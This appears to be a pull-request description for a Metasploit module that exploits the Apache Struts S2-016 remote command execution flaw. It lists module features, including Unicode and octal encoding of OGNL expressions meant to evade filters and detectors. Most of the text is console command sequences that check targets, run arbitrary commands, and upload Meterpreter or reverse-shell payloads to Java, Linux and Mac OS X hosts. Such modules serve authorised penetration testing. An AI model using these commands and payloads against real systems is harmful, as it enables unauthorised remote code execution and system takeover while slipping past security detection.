Add Remote command execution module for Apache Struts <= 2.3.15 DefaultActionMapper vulnerability (S2-016)

This additional module demonstrates remote command execution on supported platform. See details below for more information and how to test this module. Special thanks to Juan Vazquez and Sinn3r as original author of many struts exploit modules.

Features in current development
- [x] Current platform support: Unix (Linux and Mac OS X) and Java (Tested on Linux, Mac OS X, Windows 7 and AIX 6.0)
- [x] Support two types OGNL double evaluation expression %{} or ${} in payload
- [x] Support three actions of DefaultActionMapper including "action:", "redirect:" and "redirectAction:" in payload 
- [x] Support UNICODE encoding scheme in OGNL expression to bypass the filter or detector
- [x] Support Mix UNICODE and OCTAL encoding scheme in OGNL expression. Note that this encoding works only with Struts < 2.3.13.4 unless there is a configuration of "struts.allowed.action.names" in struts.xml on target applications to allow OCTAL encoding in OGNL expression (Reference: http://struts.apache.org/release/2.3.x/docs/s2-015.html)
- [x] Support payload in GET and POST with/without an additional HTTP message

Basic initialization
```
use exploit/multi/http/struts_code_exec_default_action_mapper
set TARGETURI /struts2-showcase/skill/edit.action
set RHOST <IP>
set LHOST <IP>
```

Check target
```
check
set OGNL_EVAL %
set STRUTS_ACTION redirectAction
check
set STRUTS_ACTION redirect
set OGNL_ENCODE none
check
set OGNL_ENCODE unicode
check
set OGNL_ENCODE mixoctal
check
set OGNL_ENCODE none
check
set STRUTS_ACTION redirect
set OGNL_ENCODE unicode
```

Use POST with HTTP message
```
set HTTPMETHOD POST
set HTTP_MESSAGE "id=1&__customizedToken=5555"
```

Uploading and executing payload on Java platform
```
set TARGET 2
set PAYLOAD java/meterpreter/reverse_tcp
set CHUNK_LEN 100
exploit
```

Executing remote command
```
set TARGET 0
set CMD touch /tmp/test
exploit
set CMD ''
```

Uploading and executing payload on Mac OS X platform
```
set LPORT 5555
set TARGET 1
set PAYLOAD osx/x86/vforkshell_reverse_tcp
set CHUNK_LEN 80
exploit
```

Uploading and executing payload on Linux Platform
```
set TARGET 0
set PAYLOAD linux/x86/shell_reverse_tcp
set CHUNK_LEN 200
exploit
```

Executing reverse bash shell command (Available on Unix platform only)
```
set TARGET 0
set PAYLOAD linux/x86/shell_reverse_tcp
set REVERSE_SHELL_CMD true
exploit
```

Any comments or suggestions, feel free to let me know. Thank you.